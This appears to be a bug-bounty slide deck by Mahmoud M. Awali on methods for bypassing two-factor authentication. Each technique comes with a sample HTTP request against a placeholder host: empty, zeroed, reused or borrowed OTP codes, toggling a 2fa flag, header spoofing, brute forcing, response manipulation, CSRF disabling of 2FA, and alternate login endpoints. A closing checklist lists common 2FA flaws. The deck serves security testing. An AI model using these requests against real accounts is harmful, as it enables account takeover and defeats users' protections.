2 Factor Authentication

Enter 6-Digit Code

Mahmoud M. Awali

@0xAwali

attacker

My Methodology

Try To Send Empty OTP To Bypass 2FA

- Writeup

```
POST /secondLogin HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{"email":"me","pass":"****","otp":""}
```

attacker

My Methodology

Try To Insert Zeros In OTP Parameter e.g. 000000 To Bypass 2FA

- Writeup
- Slides
- Tweet

```
POST /secondLogin HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{"email":"me","pass":"****","otp":"000000"}
```

attacker

My Methodology

Always Notice Both Request When 2FA Is Enabled And Disabled e.g. There Is Boolean Value True If 2FA Is Enabled Try To Change It To False To Bypass 2FA

- Tweet
- Tweet
- Writeup

```
POST /secondLogin HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{"email":"me","pass":"****","2fa":false,"otp":"****"}
```

attacker

My Methodology

Enable 2FA AND Try To Log In OR Remove OTP Parameter , Sometimes Enabled 2FA Doesn't Work

- Writeup
- Writeup

```
POST /secondLogin HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{"email":"me","pass":"****"}
```

attacker

My Methodology

Try To Append X-Forwarded-For Header e.g. X-Forwarded-For: 127.0.0.1 To Bypass 2FA

- Writeup
- Writeup
- Writeup

```
POST /secondLogin HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
X-Forwarded-For: 127.0.0.1
Origin: https://www.company.com
Content-Length: Number

{"email":"me","pass":"****","otp":"*****"}
```

attacker

My Methodology

Try To Figure Out If The Old-OTP Is Valid OR OTP Is Fixed , If YES There Is Issue Here

-  Tweet

```
POST /secondLogin HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{"email":"me","pass":"****","otp":"Old-OTP"}
```

attacker

My Methodology

Try To Brute Force The OTP To Bypass 2FA

- Slides
- Writeup
- Writeup
- Writeup

```
POST /secondLogin HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{"email":"me","pass":"****","otp":"FUZZ"}
```

attacker

My Methodology

If There Is OTP Code Try To Brute Force By Using Race Condition Technique OR IP Rotate Burp Suite Extension

- Writeup
- Writeup

```
POST /resetPassword HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=me&pass=*****&otp=*****
```

attacker

My Methodology

Enter Wrong OTP Code Then Try To Manipulate The Response To Change The Response To Response Of The Correct OTP Code To Bypass 2FA

- Slides
- Slides
- Writeup
- Blog

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
        "code" : "correct otp"
        "token" : "Random String"
}
```

attacker

My Methodology

Try To Login With OAuth , If There Is 2FA While Entering Email And Password To Bypass 2FA

- Writeup

Steps to produce :-

1 - Log In With Valid Email and Password
2 - You Will Ask About OTP
3 - Try To Log In With OAuth
4 - You Will Access Your Account Without 2FA

attacker

My Methodology

Try To Use OTP Of Another Account e.g. Your Second Account To Bypass 2FA

- Writeup

```
POST /secondLogin HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{"email":"me","pass":"****","otp":"Your-OTP"}
```

attacker

My Methodology

Try To Disable 2FA With CSRF e.g. Disable 2FA In Account One , Use This Request To Disable 2FA In Account Two By Using CSRF POC

- Slides
- Writeup
- Writeup
- Tweet

```
POST /setting HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{"action":"disable_2fa"}
```

attacker

My Methodology

If There Isn't Verifying Email Try To Sign up With Victim Email , And Log In With his Email AND Password Then Enabled 2FA

- Writeup

```
POST /setting HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{"action":"enable_2fa"}
```

attacker

My Methodology

Try To Figure Out Others Endpoints To Do The Same Action That Does Not Require 2FA e.g. API Endpoints To Bypass 2FA

- Writeup

```
POST /apiLogin HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{"email":"me","pass":"****"}
```

attacker

My Methodology

If There Is Endpoint To Generate Backup Codes Try To POST To It Directly e.g. POST /generateBackup After Inserting Email And Password

-  Blog

Steps to produce :-

1 - Logged In With Valid Email and Password
2 - Provided The Wrong OTP Code
3 - Captured The Request With Burp Suite
4 - Change Request To POST /generateBackup HTTP/1.1
5 - Change Body To {"action":"backup_codes"}

attacker

My Methodology

Try To Use SOAP Endpoint To Bypass 2FA e.g. There Is Endpoint Accept SOAP , Try To Send SOAP Body Without OTP Code With Valid Email AND Password

- Tweet

```
POST /secondLogin HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<SOAP-ENV:Envelope>
  <SOAP-ENV:Body>
        <email>me</email>
        <pass>*******</pass>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

attacker

My Methodology

Try To Sign Up , Try Use Your confirmation Link Of Email If Doesn't Expire Multiple Times To Bypass 2FA

-  Blog

Steps to produce :-

1 - Sign Up With Email
2 - Click On Confirmation Link
3 - Enable 2FA
4 - After 24 Hours , Click Again On Confirmation Link
5 - Is There 2FA OR Not

So, you want to find a bug in 2FA...

Lack of Rate Limits

No limit to send OTP by SMS
DoS on user's phone; Money waste for company

Limit based on Cookie, IP, Session
Try to bypass restrictions; IPRotate Burp Extension

No limit to refresh OTP
You can "infinitely" brute OTP constantly refreshing it with a low probability to guess

No limit to verify OTP
Bruteforce OTP

Logic flow

OTP can be reused from other action
You can reuse OTP from one action to other

OTP can be reused from another user
You can reuse your OTP to login as another user

OTP is refreshed but old OTP is still valid
OTP is associated with token. After refreshing a new OTP associated with a new token, but old pair is still valid.

OTP is refreshed but it's same as old one
Bruteforce OTP

Session Management

There is no 2FA for disabling 2FA in account
2FA can be disabled

There is no 2FA confirmation for password change
You can change user password without 2FA

After 2FA activation other existing sessions still active
If session has already been hijacked enabling 2FA won't help

After password check a valid session has already been created
Ignore 2FA

Other

OTP is leaked in header, response body or error
Explore response, try to cause an error

Weak random, OTP based on timestamp
Try to send OTP for different users in the same second

Different versions of 2FA in web and mobile API
Check all bugs in all 2FA endpoints

Victim account lockout after several attempts
Can be used for DoS on user account

Thank You

Mahmoud M. Awali

@0xAwali